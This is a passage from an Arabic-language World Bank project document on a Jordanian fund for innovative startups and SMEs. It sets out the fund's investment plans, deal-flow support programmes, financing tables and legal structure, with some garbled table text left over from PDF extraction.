الصغيرة والمتوسطة تركيبة من االستثمارات المباشرة في المؤسسات الصغيرة والمتوسطة وصناديق االستثمار الخاصة التي تسعى إلى زيادة قيمة التمويل في صفقات محددة، واالستثمارات غير المباشرة في المؤسسات الصغيرة والمتوسطة عن طريق الصناديق )بوصفها شريك مساهم(. يتناول دليل عمليات المشروع بالتفصيل معايير االختيار الخاصة بكافة االستثمارات. ويوضح خطة استثمار إرشادية لفترة الست سنوات والتي يمكن أن تتغير وفقا حتياجات السوق واستمرار استيفاء ً الجدول رقم 6 ال الصندوق لمعايير التنمية الشاملة الخاصة بالمشروع. ومن خالل خيار االستثمار المباشر في المؤسسات الصغيرة والمتوسطة واالستثمار غير المباشر فيها عن طريق الصناديق، يتمتع الصندوق بمرونة تعديل طريقة مشاركته حسب متطلبات السوق وتمكين جميع المستثمرين المحتملين من القيام بدور. جدول رقم 6 .معايير استثمارات الصندوق طوال فترة تنفيذ المشروع )6 سنوات(* النوع االستثمارات غير المباشرة االستثمار المباشر اإلجمالي مرحلة التأسيس )أقل من المرحلة 280 ألف دوالر( المرحلة المبكرة )280 ألف دوالر – 750 ألف دوالر( مشروع رأس المال المخاطر 750 ألف دوالر – 2 مليون دوالر المرحلة المبكرة وما بعدها مخصصات صندوق 7 مليون دوالر 14 مليون دوالر 24 مليون دوالر 5 مليون دوالر 50 مليون دوالر المشروعات الناشئة القطاعات قطاعات مليئة بالفرص تركز على التكنولوجيا واإلعالم واالتصاالت والزراعة والمستحضرات الدوائية والطاقة الجهات الفاعلة معجالت أو حاضنات األعمال + صناديق تمويل مرحلة التأسيس معجالت أو حاضنات األعمال + صناديق أو شبكات رعاة األعمال المرحلة المبكرة وصناديق رأس المال المخاطر االستثمار المشترك مع معجالت أو حاضنات األعمال صناديق رعاة األعمال ورأس المال المخاطر حجم الفرصة حجم الصندوق يتراوح ما بين 2 مليون دوالر إلى 5 مليون دوالر أمريكي حجم الصندوق يتراوح ما بين 5 مليون دوالر إلى 15 مليون دوالر أمريكي حجم الصندوق يزيد عن 15 مليون دوالر أمريكي يرفع االستثمار القيمة اإلجمالية لتصل إلى 500 ألف دوالر إلى 5.1 مليون دوالر أمريكي دعم صندوق المشروعات الناشئة حتى 5.1 مليون دوالر أمريكي لكل صندوق حتى 5.3 مليون دوالر أمريكي لكل صندوق حتى 5.5 مليون دوالر أمريكي لكل صندوق استثمار 200 ألف مليون دوالر إلى 500 ألف دوالر في كل شركة ناشئة عدد الصناديق 3-4 صناديق 3-4 صناديق 3-4 صناديق ال ينطبق المستهدفة الروافع المالية في القطاع الخاص )بالتقريب( 2 مليون دوالر لكل صندوق )بإجمالي 7 مليون دوالر أمريكي( 7 مليون دوالر لكل صندوق )بإجمالي 24 مليون دوالر أمريكي( 5.9 مليون دوالر لكل صندوق )بإجمالي 33 مليون دوالر أمريكي( 250 ألف دوالر إلى مليون دوالر أمريكي لكل صفقة )بإجمالي 5.7 مليون دوالر( مليون 71.5 دوالر معايير رفيعة المستوى لكل استثمار ** أقل من 40 %من مخصصات الصندوق اإلجمالية أقل من 30 %من مخصصات الصندوق اإلجمالية أقل من 30 %من مخصصات الصندوق اإلجمالية االستثمار المشترك فقط، ال تزيد النسبة عن 50 %من كل جولة. عدد الشركات )بالتقريب )200 - 150 شركة 15 – 10 شركة 40 – 30 شركة 70 – 60 شركة 80 – 70 5.121 مليون إجمالي المخصصات 14 مليون دوالر 38 مليون دوالر 57 مليون دوالر 5.12 مليون دوالر دوالر * هذه الخطة هي خطة إرشادية وقابلة للتغيير حسب احتياجات السوق ** يرجى الرجوع إلى الملحق رقم 2 لمزيد من التفاصيل عن المعايير رفيعة المستوى والمبادئ التوجيهية لالستثمارات المباشرة وغير المباشرة السند القابل للتحويل هو مبلغ يمنح إلى الشركة مقابل أسهم رأس المال في الشركة التي ترد فيما بعد في صورة قرض عندما تبدأ الشركة في تحقيق 22 إيرادات. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 21 من استثمارات رأس المال، إما 23 42 -من المتوقع أن يضخ المستثمرون من القطاع الخاص نحو 70 مليون دوالر أمريكي بصفتهم مستثمرين مشاركين في صناديق األموال )استثمار غير مباشر( أو مشاركين في استثمار رأس المال في الصفقات )استثمار مباشر(. وتجدر اإلشارة إلى أن أولئك المستثمرون يحسنون اإلدارة التجارية والمالية للمؤسسات الصغيرة والمتوسطة التي يستثمرون فيها، مما يزيد من قبولها لدى البنوك، وبذلك تستفيد من التمويل اإلضافي الذي تقدمه مؤسسات االئتمان. ولكن قياس مدى نجاح ذلك خارج عن نطاق المشروع. ومن األطراف المقبولة لدى الصندوق للمشاركة في انوا أفراداً االستثمارات، سواء ك أم صناديق، نذكر ما يلي: الصناديق في مرحلة التأسيس )صناديق رعاة األعمال( وفي المراحل المبكرة وصناديق االستثمار في رأس المال المخاطر ومنصات التمويل الجماعي وشركات االستثمار وما إلى ذلك من جهات االستثمار المؤسسية، شريطة االلتزام بالمعايير الموضحة في دليل عمليات المشروع. دعم االستثمار 43 -يعد ارتفاع تكاليف المعامالت الالزمة إليصال الشركات الناشئة إلى مرحلة النمو من أبرز العوامل المثبطة للمستثمرين؛ حيث إن تلك الشركات تبذل جهدا ولتحفيز مديري الصناديق ً وتتكبد تكاليف تفوق ما قد تدفعه المؤسسات الصغيرة والمتوسطة األقدم. الشريكة والمشاركين في االستثمار كي يستثمروا في الشركات الناشئة، فإن الصندوق سوف يمنح الصناديق الشريكة، عالوة على رأس المال، مبلغاً ال يرد لتغطية النفقات المتصلة بدعم الشركات الناشئة االبتكارية. فعلى سبيل المثال، تغطي نفقة اإلدارة زءا المال التكاليف التشغيلية للصندوق، بما فيها التعاقدات وبذل العناية الواجبة وإدارة ً التي تشكل ج من االستثمار في رأس االستثمارات والتسويق والتواصل. ومع ذلك، فإن التكاليف اإلضافية المتصلة بالشركات الناشئة االبتكارية ال تقتصر على ذلك، وإنما تشمل أيضا رين على مواجهة تحديات النمو في القطاعات ومجاالت االبتكار المختلفة. وعالوة على ً ضمان قدرة المستثم ذلك، قد تشمل أنشطة دعم االستثمار التكاليف المهنية والمالية والقانونية واإلدارية لتسجيل براءات االختراع والحفاظ عليها وتحديثها، والتجريب الميداني للمنتج في سوق جديدة، وأنشطة الدعم اإلداري )المحاسبة والخدمات القانونية والتسويق واإلدارة(، وهو ما ال تستطيع الشركات الصغيرة تحمله في المعتاد. 44 -يحدد إجمالي دعم االستثمار المقدم لكل صندوق وفقاً إلتاحة األموال، ووفقاً للعروض المقدمة من مديري الصناديق المعنية إلى صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. وتصدر الموافقة على الطلبات من لجنة االستثمار بالصندوق بعد مراجعة العروض المقدمة. المكون الثاني دعم خلق تدفق الصفقات )قيمة قرض البنك: 215,3 مليون دوالر أمريكي/ إجمالي الموازنة: 25,6 مليون دوالر أمريكي( 45 -سوف تعتمد جودة استثمارات الصندوق القابلة لالستمرارية وعددها على توافر نظام بيئي شامل يتسم بالقوة والقدرة على خلق فرص لريادة األعمال في األردن وتحويل تلك الفرص إلى شركات ناشئة قابلة لالستمرارية. ويشمل ذلك البرامج التي ترمي إلى التواصل مع رواد األعمال من المناطق المتأخرة والصناعات التي تعاني من نقص الخدمات )بخالف قطاع تكنولوجيا معلومات االتصاالت( والفئات المهمشة مثل رائدات األعمال. أما بالنسبة لشباب الخريجين، فال بد من توفير الموارد الالزمة لرعاية إبداعتهم وابتكاراتهم، فهو حجر األساس في بدئهم لمشاريعهم الخاصة أو انضمامهم لفريق في مجال ريادة األعمال. وبالنسبة للمهنيين األكثر خبرة الذين يؤسسون شركات جديدة، فيندر بينهم توافر تجربة عملية في جمع التبرعات واالستغالل التجاري. وبالتالي فإن مؤسسات دعم ريادة األعمال ينبغي أن تدعم هذه الفئات بحيث تستطيع الشركات التي يؤسسونها جذب المستثمرين. 46 -في إطار هذا النشاط، سوف يدعم الصندوق 825 رائد أعمال ومؤسسة صغيرة ومتوسطة لدعم جاهزيتهم لالستثمار وتحسين جودة وتنوع الخدمات التي يقدمها الوسطاء والشبكات المخصصة لخلق تدفق الصفقات في األردن، وذلك بهدف جلب 125 صفقة قابلة لالستمرارية ينظر فيها الصندوق ويمول من يختاره منها. وسوف يقيم الصندوق، ضمن إدارته للمشروع، تطوير النظام البيئي الشامل سنوياً ويحدد األولويات التي سوف يركز عليها في السنة التالية. 47 -سوف يتعاقد الصندوق أو يستعين بواحد أو أكثر من مقدمي الخدمات المتخصصين )مثل معجالت وحاضنات األعمال وهيئات دعم تنمية األعمال التجارية( وفقاً للمعايير الواردة في دليل عمليات المشروع، ويتحمل النفقات الالزمة لتنفيذ ما يلي من أنشطة خلق تدفق الصفقات: 23 لعدد الصناديق التي سيستثمر فيها الصندوق وقيمتها. قد يتغير ذلك وفقاً البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 22 أ. برامج معجالت أو حاضنات األعمال. تستهدف هذه البرامج المشروعات الجديدة )أو الفرق التي تخطط إلنشاء مشروعات جديدة(، وتعمل على تعجيل مشروعات من 10 إلى 12 فئة من رواد األعمال، تشمل كل فئة من 15 إلى . وتتلقى مشروعات التعجيل، بطبيعة الحال، دعماً خالل فترة زمنية محددة )من أربعة إلى ستة أو فريقاً 20 مشروعاً أشهر(، شاملة الفعاليات والدورات التدريبية والتوجيه المكثف الختبار قدرة نموذج األعمال/ المنتج على البقاء، وكثيراً ما تتبع هذه المشروعات منهج لين إلنشاء الشركات، وهو أسلوب في التنفيذ يعتمد، نظرياً، على فئات من الشركات التنافسية، عوضاً الناشئة مفتوحة للجميع وشديدة عن االعتماد على شركات بعينها. ويركز هذا المنهج باألساس على الفرق الصغيرة، ال المؤسسين المنفردين، ويبدأ بوضع فكرة الشركة )عبر فعاليات الهاكاثونات والمنافسات( يليها دورات تدريبية مكثفة ودعم مكثف، ويختتم بحفالت تخرج دورية في يوم يدعى يوم العرض/ يوم المستثمرين. ولن إضافياً تقتصر البرامج على قطاع بعينه، وال منطقة أو محافظة بعينها، وإنما تستهدفها جميعاً، وينبغي أن تبذل جهداً للوصول إلى رائدات األعمال. ب. دورات التدريب على الجاهزية لالستثمار وخدمات تطوير األعمال التجارية المقدمة للمؤسسات الناشئة التي تسعى للحصول على رأس المال والمؤسسات الصغيرة والمتوسطة التي تسعى لزيادة نموها زيادة هائلة. يستهدف هذا الدعم المشروعات القائمة التي تحتاج لمساعدة خاصة لكي تصير جاهزة/ مؤهلة الستثمارات الصندوق. وتختلف المشروعات التي تسعى الستثمارات الصندوق، فقد تكون شركة ناشئة تلقت أحد برامج التعجيل، وفي هذه الحالة ينبغي أن تحصل على برنامج الجاهزية لالستثمار، وقد تكون مؤسسة صغيرة أو متوسطة تسعى للتوسع عبر أحد منتجاتها أو عملياتها االبتكارية، وفي هذه الحالة فإنها ستحتاج إلى خدمات لتنمية األعمال التجارية.  هناك أوجه تشابه بين برامج الجاهزية لالستثمار وبرامج التعجيل، وإن كانت األولى أكثر تركيزاً، وتتناول كيفية سير عملية االستثمار وجذب المستثمرين وتحديد أوجه الضعف في النموذج التجاري الحالي وأسلوب تقديم العروض، لوجه، وتشتمل على فعاليات وتقدم للمجموعات عبر شبكة اإلنترنت أو وجها إرشادية أو لتقديم عروض الشركات ً الناشئة.  سوف تتضمن خدمات تنمية األعمال التجارية تقييماً ألداء المؤسسات الصغيرة والمتوسطة المتقدمة وإمكانات نموها، ثم تقديم الدعم االستشاري المتخصص لمواجهة العقبات التي تعوق خطط جذب االستثمارات الخاصة بالمتقدمين ذوي اإلمكانات األفضل. وسوف يستهدف برنامج تنمية االعمال التجارية مساعدة 75 شركة صغيرة أو متوسطة على تحقيق النمو خالل فترة المشروع. ولضمان عدم منح الدعم إال للمؤسسات الصغيرة والمتوسطة الجادة، فإن البرنامج سيقدم جزءا 20 ألف دوالر أمريكي لكل مؤسسة(، بينما تغطي المؤسسة كافة النفقات من ً من التكاليف )بحد أقصى مصادر أخرى. ج. تطوير شبكات رعاة األعمال. تطوير مجموعتين من مجموعات رعاة األعمال األردنيتين على األقل عن طريق دعم تشكيل المجموعات الجديدة وتصميمها وتدريب مديري المجموعات وتوجيههم ودعم األنشطة على مستوى األنظمة التي تفيد كافة شبكات رعاة األعمال األردنية، وكذلك الحث على دعم راعيات األعمال )انظر مربع النص رقم 1.) مربع النص رقم 1 .دور راعيات األعمال في تشجيع خوض النساء مجال ريادة األعمال بالنظر للتأثير الذي يسعى المشروع إلحداثه، وتحديداً زيادة أعداد رائدات األعمال، فإن الصندوق سوف يحرص على التعاون مع األطراف المعنية للتوصل إلى برنامج يدعم راعيات األعمال. أكدت المناقشات مع منتدى معهد ماساتشوستس للتكنولوجيا )MIT )لريادة األعمال، الذي ينظم أكبر مسابقة إقليمية لألعمال التجارية، بأنه على الرغم من كثرة النساء الالتي يمتلكن أفكار تجارية خالقة ممن يفزن بالمسابقات، فإن قلة منهن فقط في دعم رائدات األعمال؛ فزيادة عدد ً محورياً تتمكن من الحصول على تمويل لمشروعاتهن في مرحلة التأسيس. ولكن هذا النشاط سيؤدي دورا راعيات األعمال من شأنه أن يزيد فرص حصول النساء على رأس المال. بالغ األهمية في جذب نسبة أكبر من الشركات الناشئة المملوكة للنساء واالستثمار فيها، مقارنةً تؤ بمجموعات رع دي راعيات األعمال دورا اة ً األعمال التي يهيمن عليها الرجال. وقد كشفت دراسة استقصائية لشبكات رعاة األعمال في الواليات المتحدة أجراها كل من سول وهيل ان أكثر من 30 %من شركات مجموعات رعاة األعمال التي يهيمن عليها النساء )أي 25 %من األعضاء على األقل( كانت تملكها نساء، مقارنة بنسبة تتراوح بين 12 %و 13 %في المتوسط في مجموعات رعاة األعمال الذي يهيمن عليها الرجال. وبالمثل، وجد الباحثان أن مجموعات رعاة األعمال التي يهيمن عليها النساء تخصص نسبة أكبر من استثماراتها إلى الشركات المملوكة للنساء )3,13 %مقارنة بـ 6,6 %في المجموعات أن المستثمرات، مثلهم في ذلك مثل كل رعاة األعمال، يسعين إلى الحوافز المالية وإلى الوصول إلى فرص استثمارية األخرى(. ووجدا أيضاً مغرية وإلى مشاركة المستثمرين المخضرمين. ومع ذلك، فإنهن ينفردن عن المستثمرين اآلخرين في الدراسة المذكورة بتحملهن أعباء المسئولية االجتماعية في االستثمار وبالرغبة في مساعدة رائدات األعمال على النجاح وزيادة فرص حصول رائدات األعمال على رأس المال. وقد أطلقت في عام 2014 منصة لراعيات األعمال مقرها دبي تدعى "وومينا"، باإلضافة إلى عدة شبكات ناجحة مماثلة في الواليات المتحدة، ويجدر بالصندوق أن يتخذها ضمن شركائه في بناء قدرات راعيات األعمال في األردن. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 23 48 -يوضح الجدول رقم 7 تقديرات المبالغ التي يمكن تخصيصها لكل نشاط خالل فترة المشروع. وقد يعدل فريق إدارة الصندوق لتكاليف السوق واحتياجاته. هذه المبالغ أو يعيد تخصيصها وفقاً جدول رقم 7 .أنشطة دعم النظام البيئي الشامل لخلق تدفق الصفقات على مدار دورة المشرزع )6 سنوات( نوع الدعم عنصر النظام البيئي الشامل الهدف األعداد القيمة بالمليون دوالر األمريكي تدفق الصفقات )الشركات برامج معجالت/ حاضنات األعمال الناشئة( رواد األعمال الجدد ذوي األفكار الواعدة وفرقهم في المجاالت والمحافظات المختلفة 150 رائد أعمال/ فريق 5.2 التدريب على الجاهزية لالستثمار ومنح خدمات تنمية األعمال التجارية المقدمة للمؤسسات الصغيرة والمتوسطة المستقرة التي يمكنها تحقيق النمو المرتفع تدفق الصفقات )األعمال التجارية القائمة( الشركات الناشئة والمؤسسات الصغيرة والمتوسطة المستقرة التي يمكنها تحقيق نمو ملحوظ لكنها بحاجة للدعم كي تعالج الثغرات الداخلية 600( للتدريب على الجاهزية لالستثمار(، 75 )متلقي منح خدمات تنمية األعمال التجارية( 2.75 بناء النظام البيئي الشامل/ بناء قدرة رعاة األعمال على االستثمار تدفق الصفقات بناء المعرفة والقدرة على االستثمار والمشاركة في األنشطة االستثمارية لرعاة األعمال 1.0 مجموعتان المكون الثالث: إدارة المشروع وتنسيقه ومتابعته وتقييمه )قيمة قرض البنك: 2 مليون دوالر/ إجمالي الموازنة: 4 مليون دوالر( 49 -سوف تغطي األموال المخصصة لهذا النشاط تكاليف إدارة المشروع خالل فترة تنفيذه. سوف يتولى صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، فعلياً دور وحدة تنفيذ المشروع. تشمل تكاليف الصندوق التكاليف اإلدارية واالستشارية والتشغيلية الالزمة إلدارة استثمارات المشروع وتدفق الصفقات واإلشراف عليهم. كما سوف تدعم أموال المشروع التكاليف التي يدفعها الصندوق نظير ما يلي: أنشطة التدريب وبناء القدرات، والتسويق، وإجراء عمليات التقييم والتحليل على النظام البيئ الشامل، ووضع آليات التنسيق بين البرامج الوطنية والدولية، والتواصل على وجه الخصوص مع بعض المناطق )عبر المواقع اإللكترونية والمؤتمرات(، وأنشطة إشراك المواطنين، والتقييم والمتابعة، ومراجعة الضمانات الوقائية ومتابعتها، والخدمات القانونية، والمحاسبة وتدقيق الحسابات واإلدارة المالية. 50 -فضال عما سبق، فإن أموال المشروع سوف تغطي أيضاً النفقات التي تدفعها الشركة األردنية لضمان القروض بصفتها الجهة المنفذة، وتشمل: إنشاء الصندوق، وإدارة الحساب المخصص، واإلشراف الالزم على االئتمانات والضمانات الوقائية بما فيها آلية التعامل مع الشكاوى والتظلمات، وتعيين مستشار لضمان االمتثال الكامل للصندوق بالتزاماته الخاصة بتقديم التقارير إلى لجنة اإلدارة وإلى البنك الدولي. ب. تكلفة المشروع وتمويله 51 -المشروع المقترح هو تمويل مشروع استثماري يقدمه البنك الدولي بقيمة 50 مليون دوالر أمريكي يشمل رسوم مقدمة تدفع إلدارة القرض بنسبة 25.0 .%يتم فرض رسوم التزام بنسبة 25.0 %على أرصدة اإلقراض غير المنفقة الخاصة بالبنك الدولي لإلنشاء والتعمير والتي تصبح مستحقة بعد 60 يوما من توقيع اتفاقية القرض. وسيقدم البنك المركزي األردني ً مبلغا إضافياً بقيمة 48 مليون دوالر أمريكي من التمويل وسيتم تحويل مبلغ 88.13 مليون دوالر خالل فترة تنفيذ مشروع ً البنك الدولي )6 سنوات(، وسوف يتم توفير مبلغ إضافي بقيمة 125.35 مليون دوالر بعد إغالق مشروع البنك الدولي. وسيتم تقديم تمويل بأثر رجعي من مبلغ القرض يصل إلى 500 ألف دوالر نظير المبالغ المدفوعة قبل تاريخ سريان النفقات المؤهلة إلنشاء الصندوق واختيار مدير المشروع. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 24 جدول رقم 8 -جدول تمويل المشروع تكلفة المشروع مكونات المشروع بالمليون دوالر تمويل البنك الدولي لإلنشاء والتعمير تمويل النظراء خالل فترة تنفيذ مشروع البنك الدولي تمويل النظراء بعد إنتهاء تنفيذ مشروع البنك الدولي التكلفة اإلجمالية للمشروع: 1 .برنامج التمويل المختلط من رأس المال والدين 2 .دعم خلق تدفق الصفقات 3 .إدارة المشروع وتنسيقه ومتابعته وتقييمه 53.50 6.25 4.00 44.75 *3.125 2.00 8.75 *3.125 2.00 الرسوم المقدمة إلدارة القرض 125.0 34.125 13.875 50.00 المطلوب التمويل إجمالي * يتم تقريب هذا الرقم إلى 13.3 في صحيفة البيانات ج. الدروس المستفادة المتجلية في تصميم المشروع 52 -يعتمد المشروع على الدروس المستفادة من مشروع مماثل ُنفذ في لبنان باسم "دعم المؤسسات الصغيرة والمتوسطة االبتكارية" )P127306 ،)وأيضا الدروس المستفادة من تصميم مشروع "تمويل الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية" في المغرب)P150928 )حيث حصل األول على موافقة مجلس المديرين التنفيذيين في مجموعة البنك الدولي في 31 أكتوبر/ تشرين الثاني 2012 ،والثاني في 10 مارس/ آذار 2017 .يقدم مشروع المؤسسات الصغيرة والمتوسطة االبتكارية منح لتطوير المفهوم إلى رواد األعمال تصل قيمتها إلى 15 ألف دوالر لكل منهم، وتمويل رأس مال يتم ض ّخ ًة في المؤسسات الصغيرة والمتوسطة االبتكارية، باالشتراك مع مستثمرين يصل إلى 5.1 مليون لكل صفقة ل ه مباشر آخرين في القطاع الخاص. وسل مراجعة منتصف مدة تنفيذ المؤسسات الصغيرة والمتوسطة االبتكارية الضوء على ّطت الدروس الرئيسية التي يتم وضعها في االعتبار عند تصميم المشروع: أ( تعتبر منح تطوير المفهوم مصدر اً هاما لتدفق الصفقات بالنسبة لالستثمارات، حيث تكون المنح بمثابة وسائل مبدئية ً لتصفية االستثمارات واستبعاد غير المالئم منها. ب( طلبات الحصول على المنح المقدمة من رواد أعمال مرتبطين بحاضنات أعمال أو معجالت أعمال أو برنامج جامعي أو كيانات داعمة أخرى أفضل من الطلبات التي يقدمها رواد أعمال دون دعم. ت( عملية مراجعة واختيار المنح المتصلة بالمبالغ الصغيرة منهكة ومضيعة للوقت، لذا من األفضل االستعانة بمقدمي الدعم للنظام البيئي الشامل القادرين على القيام بهذا األمر على أساس معايير المشروع. ث( هناك فجوة تمويلية بين وقت بدء تلقي المشروع الناشئ للمنحة، والوقت الذي يكون فيه أصحاب المشروع مستعدين فعلياً لالستثمار )بين 15 ألف و20 ألف دوالر(. وال بد من توفير أدوات التمويل المختلط من رأس المال والدين مثل السندات القابلة للتحويل، أو أشكال أخرى من التمويل مثل القروض الميسرة، لضمان صمود واستمرار المشروع الناشئ إلى حين دخوله أول دورة لرأس المال. ج( تدفق الصفقات أمر مهم جداً لنجاح التمويل. ينبغي أن يضع المشروع في االعتبار الشراكة والدعم واالستثمار في الكيانات التي تعمل على إنشاء، ودعم الشركات الناشئة لكي تصبح جاذبة للمستثمرين. وال ينبغي أن تقتصر األنشطة، التي يمكن لتلك الكيانات تقديمها، على تمويل الشركات الناشئة مثل المنح المناظرة، والقروض الميسرة، بل ينبغي أن تشمل دعماً غير ماليا مثل التوجيه والتدريب والمساعدة في الوصول إلى األسواق واالستعداد والتدريب من أجل جذب ً االستثمارات. ح( يفضل مستثمرو القطاع الخاص تمويل الصفقات، حيث يوفر لهم ذلك فرصة توسيع نطاق أعمالهم، وتقاسم المخاطر. مع ذلك قد تكون عملية المراجعة والتفاوض في كل استثمار بطيئة ومستهلكة للوقت بشكل كبير، وتؤدي إلى تأخر اإلنفاق. كذلك يقدم خيار االستثمار في الصناديق قيمة مضافة تتمثل في عملية اختيار استثمار بخطى أسرع وعلى نحو أكثر انسيابية وسالسة، إلى جانب توفير فرصة الحصول على مبالغ أكبر من مستثمري القطاع الخاص يفضلون االستثمار في صناديق، وكذلك تيسير عملية اإلنفاق على المشروع. خ( المرونة عنصر أساسي، حيث ينبغي توافر هذا العنصر عند اختيار أنواع الشركاء، والصناديق والمستثمرين المشاركين وقطاعات المشروعات الصغيرة والمتوسطة، والنفقات المستحقة، باستثناء أنشطة/نفقات الضمانات الوقائية غير المؤهلة. ا ألفضل الممارسات االستثمارية العالمية لجذب أكبر عدد ممكن من ً ينبغي أن يتم تنفيذ أنشطة واستثمارات المشروع طبق المستثمرين إلى السوق. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 25 رابعا. التنفيذ أ- الترتيبات المؤسسية والتنفيذية 53 -سيتم إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية كشركة مساهمة خاصة طبقاً لقانون ا لوضعه بموجب القانون رقم 22 ،إلى إشراف مراقب ً الشركات األردني رقم 22 لعام 1997 .سيخضع الصندوق، نظر الشركات الذي يشرف على كافة الشركات الخاصة. ال ينظم قانون الشركات بشكل مباشر أنشطة صناديق رأس المال من األسهم ورأس المال المخاطر ، حيث ال يقدم سوى إطار قانوني عام إلدارة الشركات المسجلة بموجب القانون المذكور أعاله. ووفقا لقانون الشركات، يتم تقديم وثائق التأسيس، التي تحكم العالقة بين الشركاء أو المساهمين في شركة أردنية، إلى قسم ً الرقابة على الشركات التابع لوزارة الصناعة والتجارة. كذلك ينصّ قانون الشركات على قواعد محددة تتعلق بإدارة الشركات وفقا لهذا القانون. ويضطلع مراقب الشركات بمسئولية مراقبة تطبيق قانون الشركات، وإدارة قسم الرقابة على ً المسجلة الشركات في وزارة التجارة والصناعة، الذي يعد بمثابة سجل الشركات في األردن. 54 -الهيكل القانوني للصندوق المحلي السائد في األردن غير متاح بسبب القيود التي يفرضها قانون الشركات. في الوقت الذي ا من خالل الشراكة المحدودة أو الشراكة المحدودة باألسهم، هناك بعض ً يتوافر فيه شكل المؤسسة ذات الشراكة المحدودة نظري المتطلبات في قانون الشركات، التي تجعلها طريقة غير عملية، إن لم تكن مستحيلة إلنشاء هيكل صندوق نموذجي )شراكة محدودة أو شراكة محدودة باألسهم(. من بين هذه القيود: )أ( ضرورة وجود شريك متضامن في الشراكة المحدودة ليكون الشخص الطبيعي في مقابل كيان الشركة، و)ب( ضرورة وجود شريكين متضامنين في الشراكة المحدودة باألسهم، و)ج( ضرورة وجود شريك متضامن في الشراكة المحدودة باألسهم ليساهم بـ30 %من إجمالي قيمة الصندوق. لذا تتخذ الصناديق، التي تكون هناك رغبة في إنشائها باستخدام هيكل شركة أردنية حصري )صناديق محلية(، صورة الشركات المساهمة الخاصة، أي شركة مغلقة ذات مسئولية محدودة، تتيح توفير فئات من األسهم. والبديل لذلك الترتيب، هو تسجيل الصندوق كشراكة أجنبية محدودة لها شريك متضامن متواجد في األردن، وهذا هو الوضع السائد في كافة هياكل الصناديق الموجودة في األردن. 55 -لتشجيع القطاع الخاص على المشاركة وتعزيز الشفافية والتنفيذ التجاري، سوف يتم إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية من خالل الشركة األردنية لضمان القروض، التي سوف تكون بمثابة الراعي المحلي للمشروع. االتفاقات القانونية التي يتم توقيعها لتحقيق نجاح المشروع موضحة على النحو التالي: أ( سوف توقع وزارة التخطيط والتعاون الدولي اتفاقية قرض، وتحصل على قرض من البنك الدولي نيابة عن الحكومة ً األردنية التي ستكون مسئولة عن تسديد القرض للبنك الدولي. ب( سوف يوقع البنك الدولي على اتفاقية المشروع مع الشركة األردنية لضمان القروض باعتبارها الجهة المسئولة عن تنفيذ ا التفاق المشروع طبق ية القرض ودليل عمليات المشروع. ً ت( سوف توقع وزارة التخطيط والتعاون الدولي على اتفاقية للتمويل المشترك مع البنك المركزي األردني فيما يتعلق بالتمويل المشترك الذي سيقدمه البنك المركزي األردني إلى المشروع. ث( سوف توقع وزارة التخطيط والتعاون الدولي على اتفاقية فرعية مع الشركة األردنية لضمان القروض بصفتها الجهة المنفذة للمشروع. شكل رقم 6 .االتفاق القانوني البنك الدولي حكومة األردن الشركة األردنية لضمان القروض الجهة المنفذة 1.اتفاقية القرض 2 .اتفاقية المشروع 4 .االتفاقية الفرعية البنك المركزي األردني 3 .اتفاقية التمويل المشترك البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 26 56 -سوف تكون الشركة األردنية لضمان القروض مسئولة قانوًنا عن إنشاء صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وسوف تكون عضو المجلس التنفيذي ورئيس المجلس التنفيذي المسئول عن اإلشراف على الصندوق، وضمان استيفاء عملية التنفيذ لمتطلبات وشروط البنك الدولي بحسب ما هو موضح في دليل عمليات المشروع. سوف تستعين الشركة بمدير مؤهل من القطاع الخاص يكون مسئوال عن تنفيذ أنشطة المشروع والمتابعة والتقييم، وإدارة االئتمان، والضمانات الوقائية، ونظام تقديم التقارير. الشركة األردنية هي الجهة المنفذة للمشروع من خالل قرض المشروع، وسوف تكون مسئولة عن ضمان تنفيذ كافة أعمال إدارة االئتمان، وتقديم التقارير الخاصة بالصندوق بشكل صحيح، وتقديم التقارير ذات الصلة إلى البنك الدولي، في حين سيكون الصندوق هو وحدة تنفيذ المشروع، وسيكون مسئوال عن تنفيذ كافة األنشطة، وأعمال المتابعة والتقييم، وتقديم التقارير الخاصة بالمشروع إلى البنك الدولي. شكل رقم 7 .التنفيذ المؤسسي 57 -سوف تتبع الشركة األردنية لضمان القروض الضرورية الضوابط الالزمة لضمان خضوع عملية تنفيذ المشروع إلشراف مستقل صارم بقيادة القطاع الخاص، واستراتيجية استثمار مهنية احترافية. ومن بين هذه الضوابط، إنشاء مجلس إدارة أغلب أعضائه من القطاع الخاص، وتشكيل لجنة استثمار مستقلة تتألف بالكامل من خبراء من القطاع الخاص يتخذون قرارات بشأن اختيار االستثمارات وفرض جزاءات على عمليات التخارج من االستثمار بحسب التفويض الممنوح لها من مجلس إدارة قا لدليل عمليات المشروع. سيتم اختيار هيكل كل صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وطبً من مجلس اإلدارة، ولجنة االستثمار استناداً إلى المعايير المشار إليها في دليل عمليات المشروع دون اعتراض من جانب البنك الدولي. ستقوم الشركة األردنية بتوقيع اتفاقية إدارة مع المدير المختار للصندوق تنص على مسئوليات كل من الشركة بصفتها جهة مشرفة، ومدير الصندوق إلدارة االستثمارات وأنشطة تدفق الصفقات، وتقديم المعلومات الضرورية والتقارير إلى الشركة. وافق مجلس الوزراء على الهيكل القانوني واإلداري للصندوق، بما في ذلك معايير اختيار خبراء مستقلين من القطاع الخاص ليكونوا أعضاء في مجلس اإلدارة ولجنة االستثمار، بقرار رقم 2283 بتاريخ 19 مارس 2017 .ويمنح قرار مجلس إدارة الشركة األردنية، في اجتماعه بتاريخ 2 فبراير 2017 ،الموافقة للشركة األردنية على إنشاء الصندوق في إطار الهيكل المقترح. الخروج من صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية 58 -ال يعتمد 